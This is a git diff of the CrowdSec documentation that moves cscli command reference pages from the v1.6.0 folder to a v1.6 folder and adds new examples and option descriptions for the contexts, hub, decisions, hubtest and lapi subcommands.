+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts_list.md
similarity index 82%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts_list.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts_list.md
index c52da5939..931732e5b 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts_list.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts_list.md
@@ -17,11 +17,14 @@ cscli contexts list [item... | -a] [flags]
### Examples
```
+# List enabled (installed) contexts.
cscli contexts list
+
+# List all available contexts (installed or not).
cscli contexts list -a
-cscli contexts list crowdsecurity/yyy crowdsecurity/zzz
-List only enabled contexts unless "-a" or names are specified.
+# List specific contexts (installed or not).
+cscli contexts list crowdsecurity/bf_base crowdsecurity/fortinet
```
### Options
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts_remove.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts_remove.md
new file mode 100644
index 000000000..866e7f7af
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts_remove.md
@@ -0,0 +1,67 @@
+---
+id: cscli_contexts_remove
+title: cscli contexts remove
+---
+## cscli contexts remove
+
+Remove given context(s)
+
+### Synopsis
+
+Remove one or more contexts
+
+```
+cscli contexts remove [item]... [flags]
+```
+
+### Examples
+
+```
+# Uninstall some contexts.
+cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet --dry-run -o raw
+
+# Uninstall and also remove the downloaded files.
+cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet --purge
+
+# Remove tainted items.
+cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet -i
+cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet --interactive
+```
+
+### Options
+
+```
+ --all Remove all the contexts
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force remove: remove tainted and outdated files
+ -h, --help help for remove
+ -i, --interactive Ask for confirmation before proceeding
+ --purge Delete source file too
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli contexts](/cscli/cscli_contexts.md) - Manage hub contexts
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts_upgrade.md
new file mode 100644
index 000000000..560f15b87
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_contexts_upgrade.md
@@ -0,0 +1,63 @@
+---
+id: cscli_contexts_upgrade
+title: cscli contexts upgrade
+---
+## cscli contexts upgrade
+
+Upgrade given context(s)
+
+### Synopsis
+
+Fetch and upgrade one or more contexts from the hub
+
+```
+cscli contexts upgrade [item]... [flags]
+```
+
+### Examples
+
+```
+# Upgrade some contexts. If they are not currently installed, they are downloaded but not installed.
+cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet --dry-run -o raw
+
+# Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies.
+cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet -i
+cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet --interactive
+```
+
+### Options
+
+```
+ -a, --all Upgrade all the contexts
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force upgrade: overwrite tainted and outdated files
+ -h, --help help for upgrade
+ -i, --interactive Ask for confirmation before proceeding
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli contexts](/cscli/cscli_contexts.md) - Manage hub contexts
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_dashboard.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_dashboard.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_dashboard.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_dashboard.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_dashboard_remove.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_dashboard_remove.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_dashboard_remove.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_dashboard_remove.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_dashboard_setup.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_dashboard_setup.md
similarity index 94%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_dashboard_setup.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_dashboard_setup.md
index 544a7d3fd..777c25cc8 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_dashboard_setup.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_dashboard_setup.md
@@ -28,6 +28,7 @@ cscli dashboard setup -l 0.0.0.0 -p 443 --password
```
-d, --dir string Shared directory with metabase container
+ -e, --env strings Additional environment variables to pass to the metabase container
-f, --force Force setup : override existing files
-h, --help help for setup
-l, --listen string Listen address of container (default "127.0.0.1")
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_dashboard_show-password.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_dashboard_show-password.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_dashboard_show-password.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_dashboard_show-password.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_dashboard_start.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_dashboard_start.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_dashboard_start.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_dashboard_start.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_dashboard_stop.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_dashboard_stop.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_dashboard_stop.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_dashboard_stop.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_decisions.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_decisions.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_decisions.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_decisions.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_decisions_add.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_decisions_add.md
similarity index 59%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_decisions_add.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_decisions_add.md
index 17fc78a17..070c0b5c5 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_decisions_add.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_decisions_add.md
@@ -23,14 +23,15 @@ cscli decisions add --scope username --value foobar
### Options
```
- -i, --ip string Source ip (shorthand for --scope ip --value )
- -r, --range string Range source ip (shorthand for --scope range --value )
- -d, --duration string Decision duration (ie. 1h,4h,30m) (default "4h")
- -v, --value string The value (ie. --scope username --value foobar)
- --scope string Decision scope (ie. ip,range,username) (default "Ip")
- -R, --reason string Decision reason (ie. scenario-name)
- -t, --type string Decision type (ie. ban,captcha,throttle) (default "ban")
- -h, --help help for add
+ -i, --ip string Source ip (shorthand for --scope ip --value )
+ -r, --range string Range source ip (shorthand for --scope range --value )
+ -d, --duration string Decision duration (ie. 1h,4h,30m) (default "4h")
+ -v, --value string The value (ie. --scope username --value foobar)
+ --scope string Decision scope (ie. ip,range,username) (default "Ip")
+ -R, --reason string Decision reason (ie. scenario-name)
+ -t, --type string Decision type (ie. ban,captcha,throttle) (default "ban")
+ -B, --bypass-allowlist Add decision even if value is in allowlist
+ -h, --help help for add
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_decisions_delete.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_decisions_delete.md
similarity index 96%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_decisions_delete.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_decisions_delete.md
index b203d93b5..05a144bdc 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_decisions_delete.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_decisions_delete.md
@@ -17,6 +17,7 @@ cscli decisions delete -r 1.2.3.0/24
cscli decisions delete -i 1.2.3.4
cscli decisions delete --id 42
cscli decisions delete --type captcha
+cscli decisions delete --origin lists --scenario list_name
```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_decisions_import.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_decisions_import.md
similarity index 90%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_decisions_import.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_decisions_import.md
index 5b88b650e..d5589a46e 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_decisions_import.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_decisions_import.md
@@ -10,7 +10,7 @@ Import decisions from a file or pipe
expected format:
csv : any of duration,reason,scope,type,value, with a header line
-json :`{"duration" : "24h", "reason" : "my_scenario", "scope" : "ip", "type" : "ban", "value" : "x.y.z.z"}`
+json :`{"duration": "24h", "reason": "my_scenario", "scope": "ip", "type": "ban", "value": "x.y.z.z"}`
```
cscli decisions import [options] [flags]
@@ -26,7 +26,7 @@ duration,scope,value
$ cscli decisions import -i decisions.csv
decisions.json:
-[{"duration" : "4h", "scope" : "ip", "type" : "ban", "value" : "1.2.3.4"}]
+[{"duration": "4h", "scope": "ip", "type": "ban", "value": "1.2.3.4"}]
The file format is detected from the extension, but can be forced with the --format option
which is required when reading from standard input.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_decisions_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_decisions_list.md
similarity index 89%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_decisions_list.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_decisions_list.md
index 727c03808..118c312d2 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_decisions_list.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_decisions_list.md
@@ -16,7 +16,7 @@ cscli decisions list [options] [flags]
cscli decisions list -i 1.2.3.4
cscli decisions list -r 1.2.3.0/24
cscli decisions list -s crowdsecurity/ssh-bf
-cscli decisions list -t ban
+cscli decisions list --origin lists --scenario list_name
```
@@ -24,8 +24,8 @@ cscli decisions list -t ban
```
-a, --all Include decisions from Central API
- --since string restrict to alerts newer than since (ie. 4h, 30d)
- --until string restrict to alerts older than until (ie. 4h, 30d)
+ --since duration restrict to alerts newer than since (ie. 4h, 30d) (default 0s)
+ --until duration restrict to alerts older than until (ie. 4h, 30d) (default 0s)
-t, --type string restrict to this decision type (ie. ban,captcha)
--scope string restrict to this scope (ie. ip,range,session)
--origin string the value to match for the specified origin (cscli,crowdsec,console,cscli-import,lists,CAPI ...)
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_explain.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_explain.md
similarity index 95%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_explain.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_explain.md
index 0aee4a07c..18aa35de6 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_explain.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_explain.md
@@ -37,6 +37,7 @@ tail -n 5 myfile.log | cscli explain --type nginx -f -
-h, --help help for explain
--labels string Additional labels to add to the acquisition format (key:value,key2:value2)
-l, --log string Log line to test
+ --no-clean Don't clean runtime environment after tests
--only-successful-parsers Only show successful parsers
-t, --type string Type of the acquisition to test
-v, --verbose Display individual changes
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hub.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub.md
similarity index 94%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hub.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub.md
index 923b23a11..ffaa37cc0 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hub.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub.md
@@ -43,6 +43,7 @@ cscli hub upgrade
### SEE ALSO
* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec
+* [cscli hub branch](/cscli/cscli_hub_branch.md) - Show selected hub branch
* [cscli hub list](/cscli/cscli_hub_list.md) - List all installed configurations
* [cscli hub types](/cscli/cscli_hub_types.md) - List supported item types
* [cscli hub update](/cscli/cscli_hub_update.md) - Download the latest index (catalog of available configurations)
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hub_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub_branch.md
similarity index 62%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hub_upgrade.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub_branch.md
index b7acee640..9342a92fa 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hub_upgrade.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub_branch.md
@@ -1,26 +1,24 @@
---
-id: cscli_hub_upgrade
-title: cscli hub upgrade
+id: cscli_hub_branch
+title: cscli hub branch
---
-## cscli hub upgrade
+## cscli hub branch
-Upgrade all configurations to their latest version
+Show selected hub branch
### Synopsis
-
-Upgrade all configs installed from Crowdsec Hub. Run 'sudo cscli hub update' if you want the latest versions available.
-
+Display the hub branch to be used, depending on configuration and crowdsec version
```
-cscli hub upgrade [flags]
+cscli hub branch [flags]
```
### Options
```
- --force Force upgrade: overwrite tainted and outdated files
- -h, --help help for upgrade
+ -a, --all List all available items, including those not installed
+ -h, --help help for branch
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hub_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub_list.md
similarity index 91%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hub_list.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub_list.md
index e693b5f3e..9dba9a019 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hub_list.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub_list.md
@@ -13,7 +13,7 @@ cscli hub list [-a] [flags]
### Options
```
- -a, --all List disabled items as well
+ -a, --all List all available items, including those not installed
-h, --help help for list
```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hub_types.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub_types.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hub_types.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub_types.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hub_update.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub_update.md
similarity index 71%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hub_update.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub_update.md
index c6e041f03..8fecf11e4 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hub_update.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub_update.md
@@ -16,10 +16,21 @@ Fetches the .index.json file from the hub, containing the list of available conf
cscli hub update [flags]
```
+### Examples
+
+```
+# Download the last version of the index file.
+cscli hub update
+
+# Download a 4x bigger version with all item contents (effectively pre-caching item downloads, but not data files).
+cscli hub update --with-content
+```
+
### Options
```
- -h, --help help for update
+ -h, --help help for update
+ --with-content Download index with embedded item content
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub_upgrade.md
new file mode 100644
index 000000000..75f8a4732
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hub_upgrade.md
@@ -0,0 +1,58 @@
+---
+id: cscli_hub_upgrade
+title: cscli hub upgrade
+---
+## cscli hub upgrade
+
+Upgrade all configurations to their latest version
+
+### Synopsis
+
+
+Upgrade all configs installed from Crowdsec Hub. Run 'sudo cscli hub update' if you want the latest versions available.
+
+
+```
+cscli hub upgrade [flags]
+```
+
+### Examples
+
+```
+# Upgrade all the collections, scenarios etc. to the latest version in the downloaded index. Update data files too.
+cscli hub upgrade
+
+# Upgrade tainted items as well; force re-download of data files.
+cscli hub upgrade --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli hub upgrade --interactive
+cscli hub upgrade -i
+```
+
+### Options
+
+```
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force upgrade: overwrite tainted and outdated items; always update data files
+ -h, --help help for upgrade
+ -i, --interactive Ask for confirmation before proceeding
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli hub](/cscli/cscli_hub.md) - Manage hub index
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest.md
similarity index 99%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest.md
index e3f6a9989..d8e816885 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest.md
@@ -39,7 +39,7 @@ Run functional tests on hub configurations (parsers, scenarios, collections...)
* [cscli hubtest clean](/cscli/cscli_hubtest_clean.md) - clean [test_name]
* [cscli hubtest coverage](/cscli/cscli_hubtest_coverage.md) - coverage
* [cscli hubtest create](/cscli/cscli_hubtest_create.md) - create [test_name]
-* [cscli hubtest eval](/cscli/cscli_hubtest_eval.md) - eval [test_name]
+* [cscli hubtest eval](/cscli/cscli_hubtest_eval.md) - eval [test_name]...
* [cscli hubtest explain](/cscli/cscli_hubtest_explain.md) - explain [test_name]
* [cscli hubtest info](/cscli/cscli_hubtest_info.md) - info [test_name]
* [cscli hubtest list](/cscli/cscli_hubtest_list.md) - list
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_clean.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_clean.md
similarity index 97%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_clean.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_clean.md
index dfd8c26af..1a9a8e37f 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_clean.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_clean.md
@@ -13,6 +13,7 @@ cscli hubtest clean [flags]
### Options
```
+ --all Run all tests
-h, --help help for clean
```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_coverage.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_coverage.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_coverage.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_coverage.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_create.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_create.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_create.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_create.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_eval.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_eval.md
similarity index 98%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_eval.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_eval.md
index 0cb93c8a8..7c5a535c7 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_eval.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_eval.md
@@ -4,7 +4,7 @@ title: cscli hubtest eval
---
## cscli hubtest eval
-eval [test_name]
+eval [test_name]...
```
cscli hubtest eval [flags]
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_explain.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_explain.md
similarity index 89%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_explain.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_explain.md
index b0ec017f3..d00865042 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_explain.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_explain.md
@@ -13,7 +13,9 @@ cscli hubtest explain [flags]
### Options
```
- -h, --help help for explain
+ --failures Only show failed lines
+ -h, --help help for explain
+ -v, --verbose Display individual changes
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_info.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_info.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_info.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_info.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_list.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_list.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_list.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_run.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_run.md
similarity index 64%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_run.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_run.md
index 600b6b014..6fd2a99e2 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_hubtest_run.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_hubtest_run.md
@@ -13,12 +13,14 @@ cscli hubtest run [flags]
### Options
```
- --all Run all tests
- --clean Clean runtime environment if test fail
- -h, --help help for run
- --host string Address to expose AppSec for hubtest (default "127.0.0.1:4241")
- --no-clean Don't clean runtime environment if test succeed
- --target string Target for AppSec Test (default "http://127.0.0.1:7822/")
+ --all Run all tests
+ --clean Clean runtime environment if test fail
+ -h, --help help for run
+ --host string Address to expose AppSec for hubtest (default "127.0.0.1:4241")
+ --max-jobs uint Max number of concurrent tests (does not apply to appsec) (default 16)
+ --no-clean Don't clean runtime environment if test succeed
+ --report-success Report successful tests too (implied with json output)
+ --target string Target for AppSec Test (default "http://127.0.0.1:7822/")
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_context.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_context.md
similarity index 96%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_context.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_context.md
index a7f4014f8..ea92cf338 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_context.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_context.md
@@ -6,10 +6,6 @@ title: cscli lapi context
Manage context to send with alerts
-```
-cscli lapi context [command] [flags]
-```
-
### Options
```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_context_add.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_context_add.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_context_add.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_context_add.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_context_delete.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_context_delete.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_context_delete.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_context_delete.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_context_detect.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_context_detect.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_context_detect.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_context_detect.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_context_status.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_context_status.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_context_status.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_context_status.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_register.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_register.md
similarity index 95%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_register.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_register.md
index 378973f18..59abdd3e8 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_register.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_register.md
@@ -21,6 +21,7 @@ cscli lapi register [flags]
-f, --file string output file destination
-h, --help help for register
--machine string Name of the machine to register with
+ --token string Auto registration token to use
-u, --url string URL of the API (ie. http://127.0.0.1)
```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_lapi_status.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_lapi_status.md
similarity index 100%
